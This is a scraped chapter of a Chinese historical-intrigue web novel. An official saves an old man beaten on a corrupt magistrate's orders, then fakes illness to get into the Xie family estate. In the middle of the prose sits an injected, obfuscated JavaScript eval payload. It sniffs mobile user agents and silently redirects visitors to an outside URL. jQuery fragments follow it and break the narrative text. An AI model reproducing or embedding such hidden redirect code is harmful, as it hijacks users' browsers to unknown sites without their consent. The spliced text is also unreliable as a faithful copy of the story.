文趣网 > 其他小说 > 被死对头觊觎后 > 13. 装病
    锦宁楼外人流如织,喧嚣市井声中猛地爆开怨毒的斥骂声。

    “活腻歪了!敢攀扯刘通判!”

    “老东西血口喷人!分明是你儿子欠谢家印子钱不还!”

    两名穿着青衣短打的下人围着一团蜷缩的脏布拳打脚踢,一位身着藏青色暗花绸衫,蓄有山羊胡的中年男子静立于混乱外,冷漠地睨去。

    脏布里竟裹着个人,华发篷乱如草,额头已见血,流下的血混着浊泪,从沟壑纵横的脸皮滑下。

    他挣扎着往前爬,拼命往中年男子的方向够:“我、我儿没借谢家的印子钱,求……求刘通判……明察……”

    枯瘦的五指刚碰到那人鞋尖,便被一脚踩住,随即一股巨力踢在下肋,他破布般滚了出去,嘴角飞出暗红血沫。

    “没借谢家抓你儿做甚!你这刁民攀扯刘通判也就罢了,咱通判大度,不和你计较,你竟然还敢污蔑谢家?该打!”

    刘通判轻捻胡须,深明大义地颔首。

    这场混乱堵住小半边的街道,周遭围聚起不少人。老人已奄奄一息,照这般架势,真有可能打死,周围却无一人敢站出来说情。即便有看不下去想出头的,这会儿听到这老人提到谢家,也纷纷闭嘴装哑巴。

    那可是谢家,在壶州权势滔天,欺男霸女,谁敢招惹?

    “阁下可是壶州通判,刘大人?”

    一人从人群中提步而出,刘通判懒懒地瞄了眼,见此人气质翩然,怀疑是从哪来的大人物,连忙抬手止住手下的动作,谨慎拱手:

    “下官正是壶州通判刘和文,这位公子看着面生,不知自何处而来?”

    “下官自潭州而来,一个七品知县而已,不值一提。”

    一州通判掌州府监察,仅次于知州。

    听到面前人只是个区区知县,刘通判心中的那点谨慎戒备顿时烟消云散,面上轻蔑之色一览无余。

    他鼻腔发出轻嗤,再次捻上胡须,语气倨傲:“哦?既是潭州的官,何必插手我壶州事务?此人冲撞官驾,本官略施惩戒,你是要阻拦不成?”

    来人微微一笑:“壶州事务不敢插手,下官不过是想给刘大人提个醒罢了。”

    刘通判手上动作顿住,狐疑:“什么醒?”

    对面的人抬袖掩唇,刘通判半信半疑地附耳过去,压低的声音从耳中滑过:“河西四州壶州为首,其余三州难保不会眼红。听闻那钦差巡查使刚因办事不利触怒陛下,被差遣到下边巡视,正愁无处立威。下官方才还看见那泽州观察使正往这边瞧,万一有心人图谋不轨,等查到河西时,给那位钦差说了什么……”

    话语意味深长地停顿。

    刘通判脸色一凛,目光扫过围观的众人,仿佛真的从中看到了他州官员的窥伺。

    那老人趴在地上半死不活地抽搐呻吟,见教训够了,刘通判爬上官轿,挥手招回那两名打人的手下就起轿离去。

    围聚的人群静了一瞬,又渐渐响起议论声。

    这潭州来的知县怕是刚来此地,还不清楚刘通判是谁。

    谢家在壶州除了垄断各路商道,还会兜售一种特殊的香料,放给百姓高利印子钱。一旦无百姓力偿还,就让百姓用房屋、田地,甚至家眷来抵。

    谁不知道他刘和文是谢家的座上宾,与谢二公子沆瀣一气,穿着同一条裤子。

    平日里谁敢对他说一个不字。

    众人不由地投去复杂的目光,敬佩有,感激有,担忧也有,最后渐渐散去,只留下瘫倒的老者。

    他伸出干瘦僵硬的手,用尽最后一丝力气抓住那位“潭州知县”的衣摆,像是抓着最后一根救命稻草:“大、大人,求你,我儿被谢家……从平、平泉……”

    平泉?

    平泉驿?

    言慎蹲下来问:

    “何时?”

    “一个、多月前……”

    李远在调查时,曾与平泉驿的驿卒通过信,那几封从他书房中寻到的信笺就是明证。

    在离京前,他已让察事处的人轻骑快马先行去平泉驿探查,在朝河县时方得到回禀,说平泉驿因奉令换防,在半个月前换了批新的驿卒。

    不知那批被换掉的旧驿卒是否与谢家有关,也不知谢家将这位老者的儿子掳去,当真是因印子钱,还是因为牵扯其他什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787774|210224||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,想来只有去了谢家才能弄清楚了。

    最后一个音节从唇间飘出时,老者合上混浊的双眼,紧攥衣角的手也失了力道,坠落脚边。

    “人还活着,还有气,只是昏过去了。”

    繁芜的思绪被谢予的声音拉回。

    只见他朝货摊的方向递了个眼神,几名扮作货郎、脚夫的亲兵纷纷放下手中的活计,不着痕迹地聚过来,在过往行人的掩映下将老人转移到僻巷中。

    知道人还活着,言慎心中的滞涩松动了些,补充道:“让他们在城里寻个靠谱些的郎中,务必保住老人家的命,我还有话要问他。”

    谢家庄子外。

    朱门血红,高墙耸然,似能遮住半边天光,阴影沉沉地盖下来,压抑得令人窒息。

    这处城南的庄子是新建的,原先的早在五年前便被谢予的人一把火烧成焦土,如今重建的格局倒和从前别无二致,甚至更胜一筹。

    此时已过正午,烫金匾额在偏西的日光下熠熠生辉。

    “原来是燕知县,我们二爷可等是盼着您很久了,快请进!”

    现在已将近开宴的时辰,朱门外只有零星马车。在谢予琢磨这回该从哪烧起的间隙,那边门房已验完请帖真伪,恭敬地将言慎往里请。

    他正欲跟上,门房却忽然横臂拦住,冷声道:

    “你不许进!”

    谢予眸光转沉,意识到自己现在的身份后,又将异样压了下去,神色刹那恢复如初。

    门房问:“你有请帖吗?”

    “没有。”

    “燕知县的家眷?”

    “不是。”

    “那你——”

    为了避免节外生枝,言慎适时出声:“这是本官的随身侍从,不知贵府可否通融一二,容他随本官一同进去?”

    门房一张冷脸换成难为情的模样:“燕知县这就难为小的了,府中有规矩……”

    总之就是不能进。

    门房油盐不进,又担心僵持下去会引人生疑,言慎脑中飞速想着法子。两息后,他豁出去似的咳了数声,咳得肩头轻颤,随即眼睛一闭,软软地向后倒去。